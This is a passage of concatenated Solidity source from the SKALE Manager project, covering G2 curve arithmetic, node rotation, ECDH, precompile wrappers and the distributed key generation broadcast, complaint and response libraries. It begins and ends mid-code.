x.squaredFp2().mulFp2(x) ).minusFp2(getTWISTB()); return res.a == 0 && res.b == 0; } function isG2(G2Point memory value) internal pure returns (bool) { return isG2Point(value.x, value.y); } function isG2ZeroPoint( Fp2Operations.Fp2Point memory x, Fp2Operations.Fp2Point memory y ) internal pure returns (bool) { return x.a == 0 && x.b == 0 && y.a == 1 && y.b == 0; } function isG2Zero(G2Point memory value) internal pure returns (bool) { return value.x.a == 0 && value.x.b == 0 && value.y.a == 1 && value.y.b == 0; // return isG2ZeroPoint(value.x, value.y); } function addG2( G2Point memory value1, G2Point memory value2 ) internal view returns (G2Point memory sum) { if (isG2Zero(value1)) { return value2; } if (isG2Zero(value2)) { return value1; } if (isEqual(value1, value2)) { return doubleG2(value1); } Fp2Operations.Fp2Point memory s = value2.y.minusFp2(value1.y).mulFp2(value2.x.minusFp2(value1.x).inverseFp2()); sum.x = s.squaredFp2().minusFp2(value1.x.addFp2(value2.x)); sum.y = value1.y.addFp2(s.mulFp2(sum.x.minusFp2(value1.x))); uint p = Fp2Operations.P; sum.y.a = (p - sum.y.a).mod(p); sum.y.b = (p - sum.y.b).mod(p); } function isEqual( G2Point memory value1, G2Point memory value2 ) internal pure returns (bool) { return value1.x.isEqual(value2.x) && value1.y.isEqual(value2.y); } function doubleG2(G2Point memory value) internal view returns (G2Point memory result) { if (isG2Zero(value)) { return value; } else { Fp2Operations.Fp2Point memory s = value.x.squaredFp2().scalarMulFp2(3).mulFp2(value.y.scalarMulFp2(2).inverseFp2()); result.x = s.squaredFp2().minusFp2(value.x.addFp2(value.x)); result.y = value.y.addFp2(s.mulFp2(result.x.minusFp2(value.x))); uint p = Fp2Operations.P; result.y.a = (p - result.y.a).mod(p); result.y.b = (p - result.y.b).mod(p); } } } // SPDX-License-Identifier: AGPL-3.0-only /* NodeRotation.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "./interfaces/ISkaleDKG.sol"; import "./utils/Random.sol"; import "./ConstantsHolder.sol"; import "./Nodes.sol"; import "./Permissions.sol"; import "./SchainsInternal.sol"; import "./Schains.sol"; /** * @title NodeRotation * @dev This contract handles all node rotation functionality. */ contract NodeRotation is Permissions { using Random for Random.RandomGenerator; /** * nodeIndex - index of Node which is in process of rotation (left from schain) * newNodeIndex - index of Node which is rotated(added to schain) * freezeUntil - time till which Node should be turned on * rotationCounter - how many rotations were on this schain */ struct Rotation { uint nodeIndex; uint newNodeIndex; uint freezeUntil; uint rotationCounter; } struct LeavingHistory { bytes32 schainIndex; uint finishedRotation; } mapping (bytes32 => Rotation) public rotations; mapping (uint => LeavingHistory[]) public leavingHistory; mapping (bytes32 => bool) public waitForNewNode; /** * @dev Allows SkaleManager to remove, find new node, and rotate node from * schain. * * Requirements: * * - A free node must exist. */ function exitFromSchain(uint nodeIndex) external allow("SkaleManager") returns (bool, bool) { SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal")); bytes32 schainId = schainsInternal.getActiveSchain(nodeIndex); if (schainId == bytes32(0)) { return (true, false); } _startRotation(schainId, nodeIndex); rotateNode(nodeIndex, schainId, true, false); return (schainsInternal.getActiveSchain(nodeIndex) == bytes32(0) ? true : false, true); } /** * @dev Allows SkaleManager contract to freeze all schains on a given node. */ function freezeSchains(uint nodeIndex) external allow("SkaleManager") { bytes32[] memory schains = SchainsInternal( contractManager.getContract("SchainsInternal") ).getSchainIdsForNode(nodeIndex); for (uint i = 0; i < schains.length; i++) { if (schains[i] != bytes32(0)) { require( ISkaleDKG(contractManager.getContract("SkaleDKG")).isLastDKGSuccessful(schains[i]), "DKG did not finish on Schain" ); if (rotations[schains[i]].freezeUntil < now) { _startWaiting(schains[i], nodeIndex); } else { if (rotations[schains[i]].nodeIndex != nodeIndex) { revert("Occupied by rotation on Schain"); } } } } } /** * @dev Allows Schains contract to remove a rotation from an schain. */ function removeRotation(bytes32 schainIndex) external allow("Schains") { delete rotations[schainIndex]; } /** * @dev Allows Owner to immediately rotate an schain. */ function skipRotationDelay(bytes32 schainIndex) external onlyOwner { rotations[schainIndex].freezeUntil = now; } /** * @dev Returns rotation details for a given schain. */ function getRotation(bytes32 schainIndex) external view returns (Rotation memory) { return rotations[schainIndex]; } /** * @dev Returns leaving history for a given node. */ function getLeavingHistory(uint nodeIndex) external view returns (LeavingHistory[] memory) { return leavingHistory[nodeIndex]; } function isRotationInProgress(bytes32 schainIndex) external view returns (bool) { return rotations[schainIndex].freezeUntil >= now && !waitForNewNode[schainIndex]; } function initialize(address newContractsAddress) public override initializer { Permissions.initialize(newContractsAddress); } /** * @dev Allows SkaleDKG and SkaleManager contracts to rotate a node from an * schain. */ function rotateNode( uint nodeIndex, bytes32 schainId, bool shouldDelay, bool isBadNode ) public allowTwo("SkaleDKG", "SkaleManager") returns (uint newNode) { SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal")); schainsInternal.removeNodeFromSchain(nodeIndex, schainId); if (!isBadNode) { schainsInternal.removeNodeFromExceptions(schainId, nodeIndex); } newNode = selectNodeToGroup(schainId); Nodes(contractManager.getContract("Nodes")).addSpaceToNode( nodeIndex, schainsInternal.getSchainsPartOfNode(schainId) ); _finishRotation(schainId, nodeIndex, newNode, shouldDelay); } /** * @dev Allows SkaleManager, Schains, and SkaleDKG contracts to * pseudo-randomly select a new Node for an Schain. * * Requirements: * * - Schain is active. * - A free node already exists. * - Free space can be allocated from the node. */ function selectNodeToGroup(bytes32 schainId) public allowThree("SkaleManager", "Schains", "SkaleDKG") returns (uint nodeIndex) { SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal")); Nodes nodes = Nodes(contractManager.getContract("Nodes")); require(schainsInternal.isSchainActive(schainId), "Group is not active"); uint8 space = schainsInternal.getSchainsPartOfNode(schainId); schainsInternal.makeSchainNodesInvisible(schainId); require(schainsInternal.isAnyFreeNode(schainId), "No free Nodes available for rotation"); Random.RandomGenerator memory randomGenerator = Random.createFromEntropy( abi.encodePacked(uint(blockhash(block.number - 1)), schainId) ); nodeIndex = nodes.getRandomNodeWithFreeSpace(space, randomGenerator); require(nodes.removeSpaceFromNode(nodeIndex, space), "Could not remove space from nodeIndex"); schainsInternal.makeSchainNodesVisible(schainId); schainsInternal.addSchainForNode(nodeIndex, schainId); schainsInternal.setException(schainId, nodeIndex); schainsInternal.setNodeInGroup(schainId, nodeIndex); } /** * @dev Initiates rotation of a node from an schain. */ function _startRotation(bytes32 schainIndex, uint nodeIndex) private { rotations[schainIndex].newNodeIndex = nodeIndex; waitForNewNode[schainIndex] = true; } function _startWaiting(bytes32 schainIndex, uint nodeIndex) private { ConstantsHolder constants = ConstantsHolder(contractManager.getContract("ConstantsHolder")); rotations[schainIndex].nodeIndex = nodeIndex; rotations[schainIndex].freezeUntil = now.add(constants.rotationDelay()); } /** * @dev Completes rotation of a node from an schain. */ function _finishRotation( bytes32 schainIndex, uint nodeIndex, uint newNodeIndex, bool shouldDelay) private { leavingHistory[nodeIndex].push( LeavingHistory( schainIndex, shouldDelay ? now.add( ConstantsHolder(contractManager.getContract("ConstantsHolder")).rotationDelay() ) : now ) ); rotations[schainIndex].newNodeIndex = newNodeIndex; rotations[schainIndex].rotationCounter++; delete waitForNewNode[schainIndex]; ISkaleDKG(contractManager.getContract("SkaleDKG")).openChannel(schainIndex); } /** * @dev Checks whether a rotation can be performed. * * Requirements: * * - Schain must exist. */ function _checkRotation(bytes32 schainId ) private view returns (bool) { SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal")); require(schainsInternal.isSchainExist(schainId), "Schain does not exist for rotation"); return schainsInternal.isAnyFreeNode(schainId); } } // SPDX-License-Identifier: AGPL-3.0-only /* ISkaleDKG.sol - SKALE Manager Copyright (C) 2019-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; /** * @dev Interface to {SkaleDKG}. */ interface ISkaleDKG { /** * @dev See {SkaleDKG-openChannel}. */ function openChannel(bytes32 schainId) external; /** * @dev See {SkaleDKG-deleteChannel}. */ function deleteChannel(bytes32 schainId) external; /** * @dev See {SkaleDKG-isLastDKGSuccessful}. */ function isLastDKGSuccessful(bytes32 groupIndex) external view returns (bool); /** * @dev See {SkaleDKG-isChannelOpened}. */ function isChannelOpened(bytes32 schainId) external view returns (bool); } // SPDX-License-Identifier: GPL-3.0-or-later /* Modifications Copyright (C) 2018 SKALE Labs ec.sol by @jbaylina under GPL-3.0 License */ /** @file ECDH.sol * @author Jordi Baylina (@jbaylina) * @date 2016 */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; /** * @title ECDH * @dev This contract performs Elliptic-curve Diffie-Hellman key exchange to * support the DKG process. */ contract ECDH { using SafeMath for uint256; uint256 constant private _GX = 0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798; uint256 constant private _GY = 0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8; uint256 constant private _N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F; uint256 constant private _A = 0; function publicKey(uint256 privKey) external pure returns (uint256 qx, uint256 qy) { uint256 x; uint256 y; uint256 z; (x, y, z) = ecMul( privKey, _GX, _GY, 1 ); z = inverse(z); qx = mulmod(x, z, _N); qy = mulmod(y, z, _N); } function deriveKey( uint256 privKey, uint256 pubX, uint256 pubY ) external pure returns (uint256 qx, uint256 qy) { uint256 x; uint256 y; uint256 z; (x, y, z) = ecMul( privKey, pubX, pubY, 1 ); z = inverse(z); qx = mulmod(x, z, _N); qy = mulmod(y, z, _N); } function jAdd( uint256 x1, uint256 z1, uint256 x2, uint256 z2 ) public pure returns (uint256 x3, uint256 z3) { (x3, z3) = (addmod(mulmod(z2, x1, _N), mulmod(x2, z1, _N), _N), mulmod(z1, z2, _N)); } function jSub( uint256 x1, uint256 z1, uint256 x2, uint256 z2 ) public pure returns (uint256 x3, uint256 z3) { (x3, z3) = (addmod(mulmod(z2, x1, _N), mulmod(_N.sub(x2), z1, _N), _N), mulmod(z1, z2, _N)); } function jMul( uint256 x1, uint256 z1, uint256 x2, uint256 z2 ) public pure returns (uint256 x3, uint256 z3) { (x3, z3) = (mulmod(x1, x2, _N), mulmod(z1, z2, _N)); } function jDiv( uint256 x1, uint256 z1, uint256 x2, uint256 z2 ) public pure returns (uint256 x3, uint256 z3) { (x3, z3) = (mulmod(x1, z2, _N), mulmod(z1, x2, _N)); } function inverse(uint256 a) public pure returns (uint256 invA) { require(a > 0 && a < _N, "Input is incorrect"); uint256 t = 0; uint256 newT = 1; uint256 r = _N; uint256 newR = a; uint256 q; while (newR != 0) { q = r.div(newR); (t, newT) = (newT, addmod(t, (_N.sub(mulmod(q, newT, _N))), _N)); (r, newR) = (newR, r % newR); } return t; } function ecAdd( uint256 x1, uint256 y1, uint256 z1, uint256 x2, uint256 y2, uint256 z2 ) public pure returns (uint256 x3, uint256 y3, uint256 z3) { uint256 ln; uint256 lz; uint256 da; uint256 db; // we use (0 0 1) as zero point, z always equal 1 if ((x1 == 0) && (y1 == 0)) { return (x2, y2, z2); } // we use (0 0 1) as zero point, z always equal 1 if ((x2 == 0) && (y2 == 0)) { return (x1, y1, z1); } if ((x1 == x2) && (y1 == y2)) { (ln, lz) = jMul(x1, z1, x1, z1); (ln, lz) = jMul(ln,lz,3,1); (ln, lz) = jAdd(ln,lz,_A,1); (da, db) = jMul(y1,z1,2,1); } else { (ln, lz) = jSub(y2,z2,y1,z1); (da, db) = jSub(x2,z2,x1,z1); } (ln, lz) = jDiv(ln,lz,da,db); (x3, da) = jMul(ln,lz,ln,lz); (x3, da) = jSub(x3,da,x1,z1); (x3, da) = jSub(x3,da,x2,z2); (y3, db) = jSub(x1,z1,x3,da); (y3, db) = jMul(y3,db,ln,lz); (y3, db) = jSub(y3,db,y1,z1); if (da != db) { x3 = mulmod(x3, db, _N); y3 = mulmod(y3, da, _N); z3 = mulmod(da, db, _N); } else { z3 = da; } } function ecDouble( uint256 x1, uint256 y1, uint256 z1 ) public pure returns (uint256 x3, uint256 y3, uint256 z3) { (x3, y3, z3) = ecAdd( x1, y1, z1, x1, y1, z1 ); } function ecMul( uint256 d, uint256 x1, uint256 y1, uint256 z1 ) public pure returns (uint256 x3, uint256 y3, uint256 z3) { uint256 remaining = d; uint256 px = x1; uint256 py = y1; uint256 pz = z1; uint256 acx = 0; uint256 acy = 0; uint256 acz = 1; if (d == 0) { return (0, 0, 1); } while (remaining != 0) { if ((remaining & 1) != 0) { (acx, acy, acz) = ecAdd( acx, acy, acz, px, py, pz ); } remaining = remaining.div(2); (px, py, pz) = ecDouble(px, py, pz); } (x3, y3, z3) = (acx, acy, acz); } } // SPDX-License-Identifier: AGPL-3.0-only /* Precompiled.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; library Precompiled { function bigModExp(uint base, uint power, uint modulus) internal view returns (uint) { uint[6] memory inputToBigModExp; inputToBigModExp[0] = 32; inputToBigModExp[1] = 32; inputToBigModExp[2] = 32; inputToBigModExp[3] = base; inputToBigModExp[4] = power; inputToBigModExp[5] = modulus; uint[1] memory out; bool success; // solhint-disable-next-line no-inline-assembly assembly { success := staticcall(not(0), 5, inputToBigModExp, mul(6, 0x20), out, 0x20) } require(success, "BigModExp failed"); return out[0]; } function bn256ScalarMul(uint x, uint y, uint k) internal view returns (uint , uint ) { uint[3] memory inputToMul; uint[2] memory output; inputToMul[0] = x; inputToMul[1] = y; inputToMul[2] = k; bool success; // solhint-disable-next-line no-inline-assembly assembly { success := staticcall(not(0), 7, inputToMul, 0x60, output, 0x40) } require(success, "Multiplication failed"); return (output[0], output[1]); } function bn256Pairing( uint x1, uint y1, uint a1, uint b1, uint c1, uint d1, uint x2, uint y2, uint a2, uint b2, uint c2, uint d2) internal view returns (bool) { bool success; uint[12] memory inputToPairing; inputToPairing[0] = x1; inputToPairing[1] = y1; inputToPairing[2] = a1; inputToPairing[3] = b1; inputToPairing[4] = c1; inputToPairing[5] = d1; inputToPairing[6] = x2; inputToPairing[7] = y2; inputToPairing[8] = a2; inputToPairing[9] = b2; inputToPairing[10] = c2; inputToPairing[11] = d2; uint[1] memory out; // solhint-disable-next-line no-inline-assembly assembly { success := staticcall(not(0), 8, inputToPairing, mul(12, 0x20), out, 0x20) } require(success, "Pairing check failed"); return out[0] != 0; } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleDkgBroadcast.sol - SKALE Manager Copyright (C) 2021-Present SKALE Labs @author Dmytro Stebaiev @author Artem Payvin @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; import "../SkaleDKG.sol"; import "../KeyStorage.sol"; import "../utils/FieldOperations.sol"; /** * @title SkaleDkgBroadcast * @dev Contains functions to manage distributed key generation per * Joint-Feldman protocol. */ library SkaleDkgBroadcast { using SafeMath for uint; /** * @dev Emitted when a node broadcasts keyshare. */ event BroadcastAndKeyShare( bytes32 indexed schainId, uint indexed fromNode, G2Operations.G2Point[] verificationVector, SkaleDKG.KeyShare[] secretKeyContribution ); /** * @dev Broadcasts verification vector and secret key contribution to all * other nodes in the group. * * Emits BroadcastAndKeyShare event. * * Requirements: * * - `msg.sender` must have an associated node. * - `verificationVector` must be a certain length. * - `secretKeyContribution` length must be equal to number of nodes in group. */ function broadcast( bytes32 schainId, uint nodeIndex, G2Operations.G2Point[] memory verificationVector, SkaleDKG.KeyShare[] memory secretKeyContribution, ContractManager contractManager, mapping(bytes32 => SkaleDKG.Channel) storage channels, mapping(bytes32 => SkaleDKG.ProcessDKG) storage dkgProcess, mapping(bytes32 => mapping(uint => bytes32)) storage hashedData ) external { uint n = channels[schainId].n; require(verificationVector.length == getT(n), "Incorrect number of verification vectors"); require( secretKeyContribution.length == n, "Incorrect number of secret key shares" ); (uint index, ) = SkaleDKG(contractManager.getContract("SkaleDKG")).checkAndReturnIndexInGroup( schainId, nodeIndex, true ); require(!dkgProcess[schainId].broadcasted[index], "This node has already broadcasted"); dkgProcess[schainId].broadcasted[index] = true; dkgProcess[schainId].numberOfBroadcasted++; if (dkgProcess[schainId].numberOfBroadcasted == channels[schainId].n) { SkaleDKG(contractManager.getContract("SkaleDKG")).setStartAlrightTimestamp(schainId); } hashedData[schainId][index] = SkaleDKG(contractManager.getContract("SkaleDKG")).hashData( secretKeyContribution, verificationVector ); KeyStorage(contractManager.getContract("KeyStorage")).adding(schainId, verificationVector[0]); emit BroadcastAndKeyShare( schainId, nodeIndex, verificationVector, secretKeyContribution ); } function getT(uint n) public pure returns (uint) { return n.mul(2).add(1).div(3); } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleDkgComplaint.sol - SKALE Manager Copyright (C) 2021-Present SKALE Labs @author Dmytro Stebaiev @author Artem Payvin @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; import "../SkaleDKG.sol"; import "../ConstantsHolder.sol"; import "../Wallets.sol"; import "../Nodes.sol"; /** * @title SkaleDkgComplaint * @dev Contains functions to manage distributed key generation per * Joint-Feldman protocol. */ library SkaleDkgComplaint { using SafeMath for uint; /** * @dev Emitted when an incorrect complaint is sent. */ event ComplaintError(string error); /** * @dev Emitted when a complaint is sent. */ event ComplaintSent( bytes32 indexed schainId, uint indexed fromNodeIndex, uint indexed toNodeIndex); /** * @dev Creates a complaint from a node (accuser) to a given node. * The accusing node must broadcast additional parameters within 1800 blocks. * * Emits {ComplaintSent} or {ComplaintError} event. * * Requirements: * * - `msg.sender` must have an associated node. */ function complaint( bytes32 schainId, uint fromNodeIndex, uint toNodeIndex, ContractManager contractManager, mapping(bytes32 => SkaleDKG.Channel) storage channels, mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints, mapping(bytes32 => uint) storage startAlrightTimestamp ) external { SkaleDKG skaleDKG = SkaleDKG(contractManager.getContract("SkaleDKG")); require(skaleDKG.isNodeBroadcasted(schainId, fromNodeIndex), "Node has not broadcasted"); if (skaleDKG.isNodeBroadcasted(schainId, toNodeIndex)) { _handleComplaintWhenBroadcasted( schainId, fromNodeIndex, toNodeIndex, contractManager, complaints, startAlrightTimestamp ); } else { // not broadcasted in 30 min _handleComplaintWhenNotBroadcasted(schainId, toNodeIndex, contractManager, channels); } skaleDKG.setBadNode(schainId, toNodeIndex); } function complaintBadData( bytes32 schainId, uint fromNodeIndex, uint toNodeIndex, ContractManager contractManager, mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints ) external { SkaleDKG skaleDKG = SkaleDKG(contractManager.getContract("SkaleDKG")); require(skaleDKG.isNodeBroadcasted(schainId, fromNodeIndex), "Node has not broadcasted"); require(skaleDKG.isNodeBroadcasted(schainId, toNodeIndex), "Accused node has not broadcasted"); require(!skaleDKG.isAllDataReceived(schainId, fromNodeIndex), "Node has already sent alright"); if (complaints[schainId].nodeToComplaint == uint(-1)) { complaints[schainId].nodeToComplaint = toNodeIndex; complaints[schainId].fromNodeToComplaint = fromNodeIndex; complaints[schainId].startComplaintBlockTimestamp = block.timestamp; emit ComplaintSent(schainId, fromNodeIndex, toNodeIndex); } else { emit ComplaintError("First complaint has already been processed"); } } function _handleComplaintWhenBroadcasted( bytes32 schainId, uint fromNodeIndex, uint toNodeIndex, ContractManager contractManager, mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints, mapping(bytes32 => uint) storage startAlrightTimestamp ) private { SkaleDKG skaleDKG = SkaleDKG(contractManager.getContract("SkaleDKG")); // missing alright if (complaints[schainId].nodeToComplaint == uint(-1)) { if ( skaleDKG.isEveryoneBroadcasted(schainId) && !skaleDKG.isAllDataReceived(schainId, toNodeIndex) && startAlrightTimestamp[schainId].add(_getComplaintTimelimit(contractManager)) <= block.timestamp ) { // missing alright skaleDKG.finalizeSlashing(schainId, toNodeIndex); return; } else if (!skaleDKG.isAllDataReceived(schainId, fromNodeIndex)) { // incorrect data skaleDKG.finalizeSlashing(schainId, fromNodeIndex); return; } emit ComplaintError("Has already sent alright"); return; } else if (complaints[schainId].nodeToComplaint == toNodeIndex) { // 30 min after incorrect data complaint if (complaints[schainId].startComplaintBlockTimestamp.add( _getComplaintTimelimit(contractManager) ) <= block.timestamp) { skaleDKG.finalizeSlashing(schainId, complaints[schainId].nodeToComplaint); return; } emit ComplaintError("The same complaint rejected"); return; } emit ComplaintError("One complaint is already sent"); } function _handleComplaintWhenNotBroadcasted( bytes32 schainId, uint toNodeIndex, ContractManager contractManager, mapping(bytes32 => SkaleDKG.Channel) storage channels ) private { if (channels[schainId].startedBlockTimestamp.add(_getComplaintTimelimit(contractManager)) <= block.timestamp) { SkaleDKG(contractManager.getContract("SkaleDKG")).finalizeSlashing(schainId, toNodeIndex); return; } emit ComplaintError("Complaint sent too early"); } function _getComplaintTimelimit(ContractManager contractManager) private view returns (uint) { return ConstantsHolder(contractManager.getConstantsHolder()).complaintTimelimit(); } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleDkgPreResponse.sol - SKALE Manager Copyright (C) 2021-Present SKALE Labs @author Dmytro Stebaiev @author Artem Payvin @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "../SkaleDKG.sol"; import "../Wallets.sol"; import "../utils/FieldOperations.sol"; /** * @title SkaleDkgPreResponse * @dev Contains functions to manage distributed key generation per * Joint-Feldman protocol. */ library SkaleDkgPreResponse { using SafeMath for uint; using G2Operations for G2Operations.G2Point; function preResponse( bytes32 schainId, uint fromNodeIndex, G2Operations.G2Point[] memory verificationVector, G2Operations.G2Point[] memory verificationVectorMult, SkaleDKG.KeyShare[] memory secretKeyContribution, ContractManager contractManager, mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints, mapping(bytes32 => mapping(uint => bytes32)) storage hashedData ) external { SkaleDKG skaleDKG = SkaleDKG(contractManager.getContract("SkaleDKG")); uint index = _preResponseCheck( schainId, fromNodeIndex, verificationVector, verificationVectorMult, secretKeyContribution, skaleDKG, complaints, hashedData ); _processPreResponse(secretKeyContribution[index].share, schainId, verificationVectorMult, complaints); } function _preResponseCheck( bytes32 schainId, uint fromNodeIndex, G2Operations.G2Point[] memory verificationVector, G2Operations.G2Point[] memory verificationVectorMult, SkaleDKG.KeyShare[] memory secretKeyContribution, SkaleDKG skaleDKG, mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints, mapping(bytes32 => mapping(uint => bytes32)) storage hashedData ) private view returns (uint index) { (uint indexOnSchain, ) = skaleDKG.checkAndReturnIndexInGroup(schainId, fromNodeIndex, true); require(complaints[schainId].nodeToComplaint == fromNodeIndex, "Not this Node"); require(!complaints[schainId].isResponse, "Already submitted pre response data"); require( hashedData[schainId][indexOnSchain] == skaleDKG.hashData(secretKeyContribution, verificationVector), "Broadcasted Data is not correct" ); require( verificationVector.length == verificationVectorMult.length, "Incorrect length of multiplied verification vector" ); (index, ) = skaleDKG.checkAndReturnIndexInGroup(schainId, complaints[schainId].fromNodeToComplaint, true); require( _checkCorrectVectorMultiplication(index, verificationVector, verificationVectorMult), "Multiplied verification vector is incorrect" ); } function _processPreResponse( bytes32 share, bytes32 schainId, G2Operations.G2Point[] memory verificationVectorMult, mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints ) private { complaints[schainId].keyShare = share; complaints[schainId].sumOfVerVec = _calculateSum(verificationVectorMult); complaints[schainId].isResponse = true; } function _calculateSum(G2Operations.G2Point[] memory verificationVectorMult) private view returns (G2Operations.G2Point memory) { G2Operations.G2Point memory value = G2Operations.getG2Zero(); for (uint i = 0; i < verificationVectorMult.length; i++) { value = value.addG2(verificationVectorMult[i]); } return value; } function _checkCorrectVectorMultiplication( uint indexOnSchain, G2Operations.G2Point[] memory verificationVector, G2Operations.G2Point[] memory verificationVectorMult ) private view returns (bool) { Fp2Operations.Fp2Point memory value = G1Operations.getG1Generator(); Fp2Operations.Fp2Point memory tmp = G1Operations.getG1Generator(); for (uint i = 0; i < verificationVector.length; i++) { (tmp.a, tmp.b) = Precompiled.bn256ScalarMul(value.a, value.b, indexOnSchain.add(1) ** i); if (!_checkPairing(tmp, verificationVector[i], verificationVectorMult[i])) { return false; } } return true; } function _checkPairing( Fp2Operations.Fp2Point memory g1Mul, G2Operations.G2Point memory verificationVector, G2Operations.G2Point memory verificationVectorMult ) private view returns (bool) { require(G1Operations.checkRange(g1Mul), "g1Mul is not valid"); g1Mul.b = G1Operations.negate(g1Mul.b); Fp2Operations.Fp2Point memory one = G1Operations.getG1Generator(); return Precompiled.bn256Pairing( one.a, one.b, verificationVectorMult.x.b, verificationVectorMult.x.a, verificationVectorMult.y.b, verificationVectorMult.y.a, g1Mul.a, g1Mul.b, verificationVector.x.b, verificationVector.x.a, verificationVector.y.b, verificationVector.y.a ); } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleDkgResponse.sol - SKALE Manager Copyright (C) 2021-Present SKALE Labs @author Dmytro Stebaiev @author Artem Payvin @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "../SkaleDKG.sol"; import "../Wallets.sol"; import "../Decryption.sol"; import "../Nodes.sol"; import "../thirdparty/ECDH.sol"; import "../utils/FieldOperations.sol"; /** * @title SkaleDkgResponse * @dev Contains functions to manage distributed key generation per * Joint-Feldman protocol. */ library SkaleDkgResponse { using G2Operations for G2Operations.G2Point; function response( bytes32 schainId, uint fromNodeIndex, uint secretNumber, G2Operations.G2Point memory multipliedShare, ContractManager contractManager, mapping(bytes32 => SkaleDKG.Channel) storage channels, mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints ) external { uint index = SchainsInternal(contractManager.getContract("SchainsInternal")) .getNodeIndexInGroup(schainId, fromNodeIndex); require(index < channels[schainId].n, "Node is not in this group"); require(complaints[schainId].nodeToComplaint == fromNodeIndex, "Not this Node"); require(complaints[schainId].isResponse, "Have not submitted pre-response data"); uint badNode = _verifyDataAndSlash( schainId, secretNumber, multipliedShare, contractManager, complaints ); SkaleDKG(contractManager.getContract("SkaleDKG")).setBadNode(schainId, badNode); } function _verifyDataAndSlash( bytes32 schainId, uint secretNumber, G2Operations.G2Point memory multipliedShare, ContractManager contractManager, mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints ) private returns (uint badNode) { bytes32[2] memory publicKey = Nodes(contractManager.getContract("Nodes")).getNodePublicKey( complaints[schainId].fromNodeToComplaint ); uint256 pkX = 